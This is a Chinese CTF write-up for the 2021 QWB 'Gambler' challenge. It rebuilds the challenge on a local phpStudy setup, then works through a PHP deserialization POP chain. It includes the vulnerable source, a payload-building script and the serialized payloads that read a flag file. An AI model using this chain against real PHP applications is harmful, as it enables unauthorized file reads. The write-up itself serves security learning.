2021qwb [强网先锋]赌徒 Writeup + 环境复现

2021 qwb [强网先锋]赌徒 Writeup + 环境复现(win10)

1、本地环境复现(win10+phpStudy2018)

将比赛文件复制到phpStudy的\phpStudy\PHPTutorial\WWW 网站运行目录下;

比赛文件index.php,源码就在此文件中,www.zip 文件为index.php的打包,其他文件夹自建,主要为了还原最真实的比赛环境。

2、Writeup 开始解题

打开题目链接,发现就一句话,如下:

I think you need /etc/hint . Before this you need to see the source code

看看页面源代码,看了看请求和响应,发现一个小细节:

服务器的环境出来了 Apache/2.4.18(Ubuntu) ==>此为当时比赛中真实截图

基于此情况,对该链接进行"目录扫描"操作

一个www.zip 的备份文件(对照本地环境复现看),下载下来后里面有一个index.php的源码文件,源码如下:

复制代码
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start

{

public $name='guest';

public $flag='syst3m("cat 127.0.0.1/etc/hint");';

复制代码
	public function __construct(){
		echo "I think you need /etc/hint . Before this you need to see the source code";
	}

	public function _sayhello(){
		echo $this->name;
		return 'ok';
	}

	public function __wakeup(){
		echo "hi";
		$this->_sayhello();
	}
	public function __get($cc){
		echo "give you flag : ".$this->flag;
		return ;
	}
}

class Info
{
	private $phonenumber=123123;
	public $promise='I do';

	public function __construct(){
		$this->promise='I will not !!!!';
		return $this->promise;
	}

	public function __toString(){
		return $this->file['filename']->ffiillee['ffiilleennaammee'];
	}
}

class Room
{
	public $filename='/flag';
	public $sth_to_set;
	public $a='';

	public function __get($name){
		$function = $this->a;
		return $function();
	}

	public function Get_hint($file){
		$hint=base64_encode(file_get_contents($file));
		echo $hint;
		return ;
	}

	public function __invoke(){
		$content = $this->Get_hint($this->filename);
		echo $content;
	}
}

if(isset($_GET['hello'])){
	unserialize($_GET['hello']);
}else{
	$hi = new  Start();
}

?>

从代码中分析可以看出,给"hello"传参,然后进行序列化攻击。

现在问题来了,代码中一共有3个类,我们需要从哪一个类开始下手呢?

通过对魔术方法和序列化的的学习,我们只能从Start这个类开始下手,当对这个该类进行反序列化时,会自动执行wakeup()方法,而这3个类中只有Start类存在这个方法。

再继续观察发现,我们最终需要达到的目的地是Room类的Get_hint()方法。

构造payload:

复制代码
<?php
include "index.php";
$a = new Start();			// __wakeup()进入,
$a->name = new Info();		// Info的__toString()进入
$a->name->file["filename"] = new Room();	// Room的__get()进入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>

在我们本地搭建的环境中运行payload.php

序列化得到payload(false):

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

由于我们本地win10环境,flag文件放在C盘根目录下,名为flag。

故再次序列化payload(true)变更为:

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

注意:Infophonenumber,要用%00截断,因为phonenumber为类Info中的变量,这样才能符合序列化语句的构造。不然反序列化结果会有问题,什么都没有一片空白(亲测)!

最后,利用了魔术方法的特性成功进行了序列化攻击,实现了在一个类跳转到另一个类并执行方法!

ZmxhZ3s0NTZiNzg5LWE0YWUtMTg1My1hMWIyLXExdzJlM3I0dDV9

注意:hi 是之前Start类中输出的内容!

得到base64编码后的字符串进行解码:

最终得到了flag并与flag文件中的内容进行比对。

复制代码
flag{456b789-a4ae-1853-a1b2-q1w2e3r4t5}

以上就是本文的全部内容,希望对大家的学习有所帮助

相关推荐
上海云盾-小余9 小时前
游戏盾与应用防护联动:一站式业务安全防御体系搭建指南
安全·游戏
dashizhi201511 小时前
服务器共享禁止保存到本地磁盘、共享文件禁止另存为本地磁盘、移动硬盘等
运维·网络·stm32·安全·电脑
网教盟人才服务平台11 小时前
2026数字中国创新大赛-数字安全赛道全面启动!
网络·安全
九河云12 小时前
云上安全运营中心(SOC)建设:从被动防御到主动狩猎
大数据·人工智能·安全·架构·数字化转型
小小邵同学12 小时前
jsp payload解析
网络安全
神秘喵学长13 小时前
HNU信息系统安全第一章
安全·系统安全·学习笔记
兄弟加油,别颓废了。13 小时前
BUUCTF——Basic——BUU LFI COURSE 11
安全·web安全
华奥系科技13 小时前
智慧经济新格局:解码社区、园区与城市一体化建设逻辑
大数据·人工智能·科技·物联网·安全
土豆.exe14 小时前
OpenClaw 安全保险箱怎么做?从 ClawVault 看 AI Agent 的原子化控制、检测与限额
人工智能·网络安全·ai安全·openclaw
旺仔.29115 小时前
线程安全 详解
linux·计算机网络·安全